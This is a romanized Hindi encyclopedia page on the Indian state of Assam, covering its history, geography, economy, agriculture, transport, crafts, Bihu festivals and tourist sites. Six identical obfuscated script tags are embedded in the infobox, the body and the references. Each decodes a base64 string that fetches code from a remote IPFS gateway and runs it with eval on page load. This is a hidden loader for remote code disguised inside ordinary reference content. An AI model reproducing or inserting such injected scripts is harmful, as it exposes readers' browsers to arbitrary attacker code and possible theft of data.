असम

भारत डिस्कवरी प्रस्तुति
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asam
rajadhani disapur
rajabhasha(ean) asamiya bhasha, bodo bhasha, karbi bhasha
sthapana 15 agast, 1947
janasankhya 26,655,528 [1]
· ghanatv 340 [2] /varg kimi
kshetraphal 78,438 varg kimi
bhaugolik nirdeshaank 26°09′N 91°46′E
jalavayu ushnakatibandhiy
tapaman ausat 23 °C
· grishm 38 °C
· sharad 8 °C
zile 27 [2]
sabase b da nagar guvahati
mukhy paryatan sthal kajiranga rashtriy udyan, kamakhya pith, bhimashankar jyotirliang
liang anupat 1000 : 965 ♂/♀
saksharata 64.28%
· stri 54.60%
· purush 71.30%
rajyapal jagadish mukhi
mukhyamantri himanta bisva sarama
rajakiy pashu ek siang vala gainda (Indian one-horned rhinoceros)
rajakiy pakshi saphed pankh vali batakh (White-winged Duck)
rajakiy pushp f aauks tel archid (Rhynchostylis retusa)
rajakiy vriksh holoang (Hollong)
bahari k diyaan adhikarik vebasait
adyatan‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

asam (aangrezi:Assam) ya asam uttar poorvi bharat mean ek rajy hai. asam any uttar poorvi bharatiy rajyoan se ghira hua hai. asam bharat ka ek sarahadi rajy hai. bharat-bhootan aur bharat-baangladesh sarahad kuchh hissoan mean asam se ju di hai. yahaan par kapili nadi aur brahmaputr nadi bhi bahati hai. asam poorvottar disha mean bharat ka prahari hai aur poorvottar rajyoan ka praveshadvar bhi hai. asam ki uttar disha mean bhootan aur arunachal pradesh, poorv disha mean manipur, nagalaiand aur arunachal pradesh aur dakshini disha mean meghalay, mizoram aur tripura rajy haian.

itihas

vidvanoan ka mat hai ki 'asam' shabd sanskrit ke 'asoma' shabd se bana hai, jisaka arth hota hai anupam ya advitiy. kintu adhikatar vidvanoan ka manana hai ki yah shabd mool roop se 'ahom' se bana hai. british shasan mean jab is rajy ka vilay kiya gaya, usase pahale lagabhag chhah sau varsh tak is rajy par 'ahom' rajaoan ka shasan raha tha. astrik, mangoliyan, dravi d aur ary jaisi vibhinn jatiyaan prachin samay se is pradesh ki paha diyoan aur ghatiyoan mean alag alag samay par akar rahian aur bas gayian jisaka yahaan ki mishrit sanskriti mean bahut gahara prabhav p da. [[chitr:View-Of-Assam.jpg|thumb|250px|left|asam ke chay ke bagan mean l dakiyaan]] is rajy ke vikas mean in sabhi jatiyoan ne apana yogadan diya. is prakar asam rajy mean sanskriti aur sabhyata ki ek prachin aur samriddh paranpara rahi hai.

prachin nam

prachin samay mean yah rajy 'pragjyotish' arthath 'poorvi jyotish ka sthan' kahalata tha. kalantar mean isaka nam 'kamaroop' p d gaya. kamaroop rajy ka sabase purana udaharan ilahabad mean samudragupt ke shilalekh se milata hai. is shilalekh mean kamaroop ka vivaran aise simavarti desh ke roop mean milata hai, jo gupt samrajy ke adhin tha aur gupt samrajy ke sath is rajy ke maitripoorn sanbandh the. chin ke vidvanh yatri hvenasaang lagabhag 743 eesvi mean raja kumarabhaskar varman ke nimantran par kamaroop mean aya tha. hvenasaang ne kamaroop ka ullekh 'kamolupa' ke roop mean kiya hai. 11vian shatabdi ke arab itihasakar alabarooni ki pustak mean bhi 'kamaroop' ka vivaran prapt hota hai. is prakar prachin kal se lekar 12vian shatabdi eesvi tak samast aryavart mean poorvi simaant desh ko 'pragjyotish' aur 'kamaroop' ke nam se jana jata tha aur yahaan ke naresh svayan ko 'pragjyotish naresh' kahalaya karate the. san 1228 mean poorvi pahadiyoan par 'ahom' logoan ke ane se itihas mean mo d aya. unhoanne lagabhag chhah sau varshoan tak asam rajy par shasan kiya. 1819 mean badanachandr ki hatya ke bad sanh 1826 mean yah rajy british sarakar ke adhikar mean a gaya. is samay 'barmi' logoan ne 'yandaboo sandhi' ko manakar asam ko british sarakar ko sauanp diya tha.

  1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bhoogol

bhoo-akriti

maidani ilaqoan evan nadi ghatiyoan vale asam ko tin pramukh bhautik kshetroan mean vibhajit kiya gaya hai-

  1. uttar mean brahmaputr nadi ghati
  2. dakshin mean barak nadi ghati evan karbi tatha alang ziloan ke parvatiy kshetr
  3. in donoan ghatiyoan ke madhy sthit uttari kachhar ki paha diyaan.

brahmaputr nadi ghati asam ka pramukh bhautik kshetr hai. yah nadi asam ke poorvottar sire par sadiya ke pas pravesh karati hai, phir pashchim mean poore asam mean lagabhag 724 kimi. lanbe marg mean pravahit hokar dakshin ki or mu dakar baangladesh ke maidani ilaqoan mean chali jati hai. brahmaputr nadi ghati, chhoti ekal paha diyoan aur maidani ilaqoan mean achanak uthate shikharoan, jinaki chau daee 80 kimi. se zyada nahian hai, se bhari huee hai. pashchim disha ko chho dakar baqi sabhi dishaoan mean yah parvattoan se ghiri huee hai. p dos ki paha diyoan se nikali kee jaladharaoan evan upanadiyoan ka jal isamean samahit hota hai. barak nadi ghati dakshin-poorv disha mean vistrit nimn bhoomi ke kshetr ki sanrachana karati hai, jo krishi ke lie mahattvapoorn hai evan isase apekshakrit saghan basi janasankhya ko madad milati hai, halaanki is ghati ka ek chhota sa hi hissa rajy ke simakshetr mean hai. thumb|250px|left|telashodhak karakhana, asam
Oil Refinery, Assam

bhoo-vijnan

bhoo- vijnan ke anusar, brahmaputr evan barak nadi ghati mean jama (avasadit) mitti jalodh hai, jo 16 lakh sal purani hai. inamean vibhinn prakar ke tritiyak nikshep (16-664 lakh varsh purane) haian. in avasadoan mean balua patthar, ret ke kan, retili mitti, mishrit mitti, koyale ke tuk de, sleti patthar evan choona-patthar pramukh haian. meghalay pathar ke hisse karbi alang evan uttari kachhar ki paha diyaan sanbhavat: goandavana laiand[3] ka vistaran hai. kepili nadi ki kha diyoan dvara alag kar di gee uchchabhoomi ki sthalakriti visham hai. isamean mikir paha diyoan ka ek uttari dhal ata hai, jisaki ausat ooanchaee 475 mitar hai, jo karbi alang zile ke madhy bhag mean pahuanchakar lagabhag 1,006 mitar ho jati hai. uttari parvatashreniyaan dakshin-pashchim ke dabaka (disapur ke poorv mean) se shuroo hokar poovottar mean bokaravat tak phaili haian. inaki ausat ooanchaee 610 mitar hai. uttari parvatashreni ke mukhy shikharoan mean basunadhari paha diyaan (774 mitar), rayaseang (738 mitar) mehekaangathoo (689 mitar) evan kud paha diyoan (626 mitar) shamil haian. dakshin ki reangama paha diyoan ki ausat ooanchaee lagabhag 914 mitar hai. in paha diyoan ke mukhy shikhar cheangehishon (1,359 mitar) evan khunabaman paha diyaan (1,131 mitar) haian.

asam mean bhookanp ka ana samany bat hai. 1897 mean shilaang pathar mean adhikeandrit, 1930 mean dhuburi mean adhikeandrit evan 1950 ke arunachal pradesh ki sima ke pas tibbat mean sthit jhihaoo (rima) mean adhikeandrit bhookanp adhunik samay ke sabase tivr bhookanp rahe. 1950 ke bhookanp ko to itihas ka sabase vinashakari bhookanp mana jata hai. is bhookanp ke bhishan bhooskhalanoan ne paha di jaladharaoan ka marg avaruddh kar diya tha. baandhoan ke toot jane par bhookanp ki tulana mean badh ki vajah se janajivan aur sanpatti ki kahian adhik hani huee.

arthavyavastha

samagr poorvottar kshetr mean asam ki arthavh‍yavash‍tha sabase b di arthavh‍yavash‍tha hai. yah mukhh‍yataya krishi aur sanbaddh karyakalapoan mean lagi huee hai. isaki bharat mean brahmaputr ghati ke sath-sath sabase adhik urvar bhoomi phaili huee hai jo ki vanijyik adhar par vividh n‍kadi phasaloan aur khady phasaloan ki paidavar ke lie upayukh‍t hai. yahaan par prakritik sansadhan jaise tel aur prakritik gais, koyala, rabad ith‍yadi, khanij jaise grenait, choona path‍thar ith‍yadi tatha van aur jal sansadhan prachur matra mean pae jate haian. yah rajh‍y anh‍y poorvottar rajh‍yoan ki tulana mean audyogik roop se adhik vikasit hai. yah chay aur tel petroliyam kshetr mean apane b de udyogoan ke lie jana jata hai. yah rajh‍y kutir udyogoan se sanbandhit kala aur shilh‍p ke lie prasiddh hai. kutir udyogoan mean hathakaragha, resham‍kit palan, ken aur baans ki vash‍tuean, badhee giri pital aur bel metal shilh‍p shamil hai. asam mean enh‍di, mooga, tasar jaise vibhinh‍n prakar ke resham ka uth‍padan hota hai.[4]

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

krishi

asam rajy ek krishi pradhan rajy hai. krishi yahaan ki arthavyavastha ka pramukh adhar hai. chaval is rajy ki mukhy khady fasal hai aur joot, chay, kapas, tilahan, ganna aur aloo adi yahaan ki nakadi fasalean haian. rajy ki pramukh bagavani fasalean santara, kela, anannas, supari, nariyal, amarud, am, katahal aur niboo adi haian. in sabhi ki kheti chhote star par ki jati hai. is rajy mean lagabhag 39.44 lakh hektayar bhoomi kul kheti yogy bhoomi hai. isamean se qarib 27.01 lakh hekteyar kshetr mean hi kheti ki jati hai.

asam mean lagabhag do- tihaee janasankhya kheti karati hai. isake alava das pratishat log chay baganoan, vanoan ya any krishi adharit vyavasayoan mean karyarat hai. kul krishi yogy kshetr ke do-tihaee hissoan mean chaval hota hai. videshi mudra ke ay ke srot ke roop mean mahattvapoorn chay aur patasan ki paidavar mukhyat: brahmaputr ghati mean hoti hai. any phasaloan mean tilahan, dalean (matar, phaliyaan ya masoor), khali (ek tilahan, isake patte chare ke kam ate haian), sarasoan, aloo evan phal hai. rajy ke khadyann ki kul paidavar khapat se zyada hai jabaki tilahan evan daloan se yahaan ki avashyakata poori nahian ho pati. ab duhari fasaloan evan krishi ke adhunik tariqoan ka prayog hone laga hai.

khanij

rajy ke mukhy khanij koyala, prakritik gais, petrol evan choona patthar haian. oopari asam ke poorvottar zile shivasagar evan dibroogadh mean khanij tel milata hai. desh ke kul petrol evan prakritik gais ke utpadan ka chhatha hissa asam se nikalata hai. oopari asam evan karbi alang zile mean koyale ka khanan hota hai, jisaka upayog sthaniy rel vibhag, chay bagan evan bhap ke ianjan vale pani ke jahajoan mean hota hai. choona-patthar mikir ki paha diyoan se nikalata hai.

udyog

asam mean chay aur tel ko chho dakar any mahattvapoorn udyogoan ki kami hai. kamazor parivahan pranali, paryapt sthaniy bazar ki kami aur shesh bharat se alag p d jane ke karan yahaan ka audyogik vikas avaruddh hua hai. phir bhi anek nee audyogik ikaiyaan shuroo ki ja chuki hai. urvarak, joot, kagaz, resham v chini ki milean evan ek simeant karakhana inamean shamil hai. ara miloan evan plaeevud tatha diyasalaee ke karakhanoan mean lak di ke sansadhanoan ka upayog ho raha hai. 20vian sadi ki shuruat mean digaboee mean aur 1962 mean guvahati sthit telashodhan karakhane ne utpadan kary praranbh kar diya tha. bihar rajy ke telashodhan karakhane ko asam se paip lain ke dvara khanij tel bheja jata hai.

shiksha

thumb|250px|kajiranga rashtriy udyan mean ek siang vala gaianda

  • asam mean chhah se barah varsh ki umr tak ke bachchoan ke lie madhyamik star tak anivary tatha ni:shulk shiksha ki vyavastha hai.
  • guvahati, yorahat evan dibroogadh mean vishvavidyalay haian.
  • rajy ke 80 se bhi zyada keandroan se lok kalyan ki vibhinn yojanaoan ka sanchalan ho raha hai.
  • jo mahilaoan evan bachchoan ke lie manoranjan tatha any saanskritik suvidhaoan ki vyavastha karati haian.
shikshan sansthan
  • asam krishi vishh‍vavidyalay
  • asam vishh‍vavidyalay
  • dibrugadh vishh‍‍vavidyalay
  • guvahati vishh‍vavidyalay
  • bharatiy praudyogiki sansh‍than guvahati
  • rashh‍triy praudyogiki sansh‍than (manad vishh‍vavidyalay)
  • tejapur vishvavidyalay

yatayat

aparyapt parivahan evan sanchar vyavastha ne asam ke audyogik vikas ki gati dhimi kar di hai. visham bhaugolik sanrachana ke karan yahaan par ek sucharoo parivahan vyavastha ke vikas mean kathinaee ho rahi hai. asam shesh bharat se keval ek relamarg aur ek pramukh rajamarg se ju da hua hai. brahmaputr nadi mean aantardeshiy jal parivahan, jisaka apana aitihasik mahattv tha, 1947 mean desh ke vibhajan mean guvahati, dibroogadh, jorahat, tezapur v silvar aur kolakata (bhootapoorv kalakatta) ke bich vayumarg dvara samuchit avagaman ho raha hai. [[chitr:Brahmaputra-river-Assam.jpg|thumb|250px|left|brahmaputr nadi, asam]]

s dak marg

asam mean s dakoan ki kul lanbaee 37,515 kilomitar thi jisamean rashh‍triy rajamarg ki lanbaee 2,754 ki.mi. shamil hai. bharat-bangaladesh sima par 27 kilomitar lanbi s dak banane evan 160 kilomitar sima par kaantedar tar-ba d lagane ka kary poora kiya ja chuka hai.

relave marg

asam mean relamargoan ki lanbaee 2,284.28 kilomitar hai jisamean chhoti rel lain 1,057.12 ki.mi. aur b di lain 1,227.16 ki.mi. shamil haian.

havaee marg

nagarik vimanoan ki niyamit u danean lokapriy gopinath boradoloee havaee adda (guvahati), saloniba di (tejapur), mohanaba di (dibroogadh), siloniba di (uth‍tari lakhimapur), kanbhiragram (silachar), aur rovariyah (jorahat) se hoti haian.

kala

[[chitr:Assam-Handicrafts.jpg|thumb|250px|asam mean kala aur hastashilp]]

  • kala aur hastashilp se sambandhit kutir udyogoan ke lie asam sadaiv vikhyat raha hai.
  • hathakaragha, resham, beant aur baans ki vastuean, galichoan ki bunaee, kashth shilp, pital adi dhatuoan ke shilp pramukh kutir udyog haian.
  • asam mean vibhinn prakar ka resham - eandi, mooanga, tasar adi ka utpadan hota hai.
  • mooanga namak resham ki kism ka utpadan vishv bhar mean sirf asam mean hi hota hai.

saanskritik jivan

asam ka saanskritik jivan vibhinn saanskritik sansthanoan evan dharmik keandroan, jaise satr evan namogrih ki gatividhiyoan se guantha hua hai. pichhale 400 saloan se asam mean satr hi vahaan ki janata ke dharmik evan samajik kalyan ki dekharekh kar rahe haian. asami log hindoo dharm ke sabhi tyoharoan ko manate haian, lekin unaka sarvadhik mahattvapoorn parv bihoo hai, jo varsh mean tin bar manaya jata hai. moolat: ye krishi parv haian, jinhean log dharm aur jati ke bhedabhav ko bhoolakar harshoanllas se manate haian. pahala aur mukhy bihoo parv vasant rritu mean manaya jane vala bohaang bihoo (madhy aprail hindoo kaileandar ke hisab se vaishakh mas ka pahala din) hai, jo ne varsh ke agaman ki khushi mean manaya jata hai. ise rangoli (yahaan rang arth ullas evan anand) bihoo ke nam se bhi jana jata hai. yah nrity aur sangit ka utsav hai. is din striyaan apane parivar ke sadasyoan ko hath se buna hua gamachha bheant mean deti haian. doosara magh bihoo (madhy janavari hindoo kaileandar ke hisab se magh mas) fasal katane ke upalakshy mean manaya jata hai. bhogali bihoo (bhog ka arth ullas evan bhoj) ke nam se prasiddh yah pritibhoj evan ag jalakar khushiyaan manane ka parv hai. [[chitr:Bihu-Dance-Assam.jpg|thumb|250px|left|bihoo nrity, asam
Bihu Dance, Assam]] tisare aur aantim kati bihu (madhy aktoobar.) ko kangali bihoo ke nam se jana jata hai, kyoanki varsh ke is bhag mean am adami ka ghar agali fasal kataee se pahale bhandaran ke khatm ho jane ke karan khadyann rahit ho jata hai. bunaee asam ke logoan, visheshakar mahilaoan ke saanskritik jivan ka ek abhinn aang hai. pratyek asami ghar mean, chahe vah kisi bhi dharm, jati ya samaj ka ho, kam se kam ek hathakaragha avashy dekhane ko mil jaega. har stri ka mahin resham evan sooti vastroan ke utpadan ki kala mean parangat hona anivary hai.

tyohar

  • asam mean anek rangarang tyohar manae jate haian. 'bihoo' asam ka mukhy parv hai.
  • yah varsh mean tin bar manaya jata hai- 'rangali bihoo' ya 'bohag bihoo' fasal ki buaee ki shuruat ka pratik hai.
  • isi se ne varsh ka shubharanbh bhi hota hai. 'bhogali bihoo' ya 'magh bihoo' fasal ki kataee ka tyohar hai aur 'kati bihoo' ya 'kaangali bihoo' sharad rritu ka ek mela hai.
  • lagabhag sabhi tyohar dharmik karanoan se manae jate haian.
  • vaishnav log pramukh vaishnav santoan ki jayanti tatha punyatithi par bhajan gate haian aur paranparagat naty shaili mean 'bhavana' namak natakoan ka manchan karate haian.
  • kamakhya mandir mean aanbubashi aur umananda tatha shiv mandiroan ke pas any sthanoan par shivaratri mela, dipavali, ashok ashtami mela, paush mela, parashuram mela, aanbukashi mela, dol-jatra, eed, krisamas aur durga pooja, adi dharmik tyohar rajy bhar mean shraddha ke sath manae jate haian.

visheshataean

[[chitr:Guwahati-Stadium-Assam.jpg|thumb|250px|guvahati ke stediyam]]

  • asam apane jiv-jantuoan aur vanaspatiyoan ke lie bahut prasiddh hai. van sanpada kul kshetraphal ka 22.21 pratishat hai.
  • rajy mean paanch rashtriy park aur 11 vanyajiv abhayarany aur pakshi vihar haian. kajiranga rashtriy udyan aur manas rashtriy udyan 'ek siang vale gaiandoan' aur 'r aauyal bangal taigar' ke lie poore vishv mean prasiddh hai.
  • asam mean krishi par adharit udyogoan mean chay ka pramukh sthan hai.
  • rajy mean chhah audyogik vikas keandr haian.
  • rajy mean char 'telashodhak karakhane' (rifainari) kam kar rahi haian.
  • nagarik vimanoan ki niyamit u danean gopinath ba dadolaee havaee adda (guvahati), saloniba di (tejapur), mohanaba di (uttari lakhimapur), kuanbhiragram (silachar), aur rovariyah (jorahat) se hoti haian.

paryatan sthal

guvahati mean tatha usake asapas pramukh paryatan sthaloan mean kamakhya mandir, umananda (mayooradvip), navagrah mandir vashishth ashram, dolagobiand, gaandhi mandap, rajy ka chidiyaghar, rajy sangrahalay, shukreshvar mandir, gita mandir, puratattv ki drishti se mahattvapoorn madan kamadev mandir aur sarayaghat pul adi prasiddh haian.

any darshaniy sthal
  • kajiranga ratriy park (ek siang vale gaiandoan ke lie prasiddh)
  • manas bagh pariyojana, pobitora aur orang (vanyajiv udyan)
  • shivasagar (shiv mandi, rangaghar,kareangaghar)
  • tejapur (bhairavi mandir aur ramanik sathan)
  • bhalukapuang (aangaliang), h aauphalaang (svasthyaprad sthan aur jatianga pahadiyaan)
  • majuli (vishv ka sabase b da nadi dvip)
  • chandubi jhil (pikanik sthal)
  • hajo (bauddh, hindoo aur islam)
  • batadrav (mahan vaishnav sant shankaradev ki janmabhoomi)
  • ar sualakoochi (resham udyog ke lie prasiddh).


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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vithika

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tika tippani aur sandarbh

  1. 2001 ki janaganana ke anusar
  2. 2.0 2.1 Assam at a Glance (aangrezi) (ech.ti.em.el) asam ki adhikarik vebasait. abhigaman tithi: 26 mee, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. ek prachin dakshin golarddh sthit bhookhand, jisamean dakshin amerika, afrika, aaustreliya evan bharatiy upamahadvip ke kuchh hisse ate the
  4. nivesh ke avasar (hindi) (pi.ech.pi.) vyapar jnan sansadhan. abhigaman tithi: 9 joon, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh


varnamala kramanusar lekh khoj

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